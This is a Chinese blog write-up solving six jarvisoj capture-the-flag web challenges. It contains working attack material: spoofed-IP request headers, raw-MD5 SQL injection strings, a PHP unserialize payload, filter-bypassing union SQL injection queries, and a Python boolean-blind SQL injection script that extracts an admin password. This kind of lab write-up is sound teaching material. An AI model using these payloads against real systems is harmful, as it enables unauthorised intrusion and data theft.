Rock's blog

兴趣是最好的老师

0%

jarvisoj web 题目解答

1.PORT51

题目要求使用51号端口访问该地址

curl --local-port 51 http://web.jarvisoj.com:32770/

2.LOCALHOST

题目提示只有localhost才能访问,故在请求头中添加:

client-ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1

成功获取到flag。

3.Login

burp抓取到响应头部隐藏提示:

Hint: "select * from `admin` where password='".md5($pass,true)."'"

md5($pass,true)说明返回的是将密码md5加密后的二进制数据。故需要我们找到令加密后数据可以构造出sql注入的明文数据,此处列举一些可行的payload:

明文: 129581926211651571912466741651878684928
md5hex: 06da5430449f8f6f23dfc1276f722738
对应的字符串: ?T0D??o#??’or’8.N=?
明文: ffifdyop
md5hex: 276f722736c95d99e921722cf9ed621c
对应的字符串: ‘or’6蒥欓!r,b

注:由于mysql在进行布尔类型的的比较时会将数字开头的字符串视为数字,所以可以使判断成立。

4.神盾局的秘密

打开题目发现是一张图片,查看响应头部无特殊信息后,尝试分析图片,发现并无异常。查看网页源代码:

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

看到这里img后的base64编码字符串,解码后为shield.jpg。猜测这里含有文件包含漏洞,且文件名以base64编码形式传入。
包含showimg.php,查看源码显示:

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

可以看到这里对pctf进行了过滤。
进一步尝试包含index.php

<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

再包含shield.php

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

由于showimg.phppctf进行了过滤,所以我们不能简单地直接包含pctf.php,但是可以注意到index.php允许我们提交一个class参数,该参数可以被反序列化为Shield()对象,然后调用其readfile()方法。故我们需要做的是为class参数传入一个序列化后的Shield()对象,这样经过反序列化后再调用其readfile()方法,就可以正确读取pctf.php
我们可以在本地搭建一个php环境,结合shield.php,输出序列化后的Shield()对象:

<?php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
}
$pctf = new Shield("pctf.php");
echo serialize($pctf);
?>

运行的结果为:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

将该结果填入URL:

/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

得到flag。

5.IN A Mess

访问题目链接,查看源码,发现index.phps,访问。发现里面有php源码,尝试进行分析:

<?php
error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}
?>

程序接收了idab三个参数。

  • id不为0id0比较后相等;

  • a用来指定打开的文件名,并要求文件内容为1112 is a nice lab!;

  • b的长度要大于5,且和111拼接后可以匹配1114,且b的第一个字符和4不相等;
    id可以利用php的弱类型比较来绕过。a可以使用php:\\inputdata:伪协议来绕过。由于eregi()\x00截断影响,所以b可以通过\x00截断绕过。
    故可构造URL:

    /index.php?id=0e&a=php://input&b=%0044444

数据部分添加:

1112 is a nice lab!

页面返回以下字符串:

<!--index.phps--> Come ON!!! {/^HT2mCpcvOLf}

/^HT2mCpcvOLf像是一个目录,故尝试访问,经过一系列跳转后到达以下页面:

http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1

看不出有其他异常点,由于含有参数?id=1,故尝试sql注入。发现输入'时回显查询字符串,表名为content,确认考察sql注入。

1.判断注入类型为数字型注入

2.查明过滤字符和关键字,经过测试,发现过滤了selectunionfrom空格,关键字使用双写、大小写绕过,空格使用/1/绕过。

3.通过union查询来获得content表的列名:

?id=-1/*1*/uunionnIon/*1*/seunionleCT/*1*/1,2,group_concat(column_name)/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74%23

这里的表名被16进制编码,是因为直接写表名会报错,原因尚不明确。

查询结果为:

id,context,title

context列进行查找:

?id=-1/*1*/uunionnIon/*1*/seunionleCT/*1*/1,2,group_concat(context)/*1*/frofromm/*1*/content%23

查询结果即为flag。

6.Simple Injection

首先对网站进行目录扫描,未发现其他有价值的页面。着手对登录页面进行注入。

发现页面会提示用户名错误和密码错误,判断用户名和密码验证为分步进行。

测试常用用户名,发现合法用户名admin

对该用户名进行注入,发现为字符型注入,且闭合符号为''||1#可顺利绕过用户名验证。

对此位置进行基于bool的盲注。

#!/usr/bin/python3
# -- coding: utf-8 --

import requests
import urllib.parse

URL = "http://web.jarvisoj.com:32787/login.php"

# Fuzz
fObj = open("/root/Desktop/special_char.txt", 'r')

for word in fObj.readlines():
    word_ = word.strip()
    word = urllib.parse.unquote(word_)
    parma = {"username":"'||length('\\"+ word +"')="+ str(len(word)) +"#", "password":"1"}
    post = requests.post(url=URL, data=parma)
    if post.text.find("密码错误") == -1:
        print("%s\tFiltered" % word_)

fObj.close()

fObj = open("/root/Desktop/char_list.txt", 'r')
chrList = fObj.readlines()
fObj.close()

# query = "(database())"
# query = "(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1)"
# query = "(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='admin'/**/limit/**/2,1)"
# id	username	password
query = "(select/**/password/**/from/**/admin)"

length = 0
for l in range(1,100):
    parma = {"username":"'||length("+ query +")="+ str(l) +"#", "password":"1"}
    post = requests.post(url=URL, data=parma)
    if post.text.find("密码错误") != -1:
        length = l
        break
print(length)

for l in range(length):
    flag = False
    for ch in chrList:
        ch = ch.strip()
        parma = {"username":"'||substr("+ query +","+ str(l+1) +",1)='"+ ch +"'#", "password":"1"}
        post = requests.post(url=URL, data=parma)
        if post.text.find("密码错误") != -1:
            print(ch, end='')
            flag = True
            break
    if not flag:
        print("*", end='')
print()

心得:要先对注入点进行测试,判断过滤了哪些特殊字符和关键字,注意对特殊字符进行转义。

持续更新中……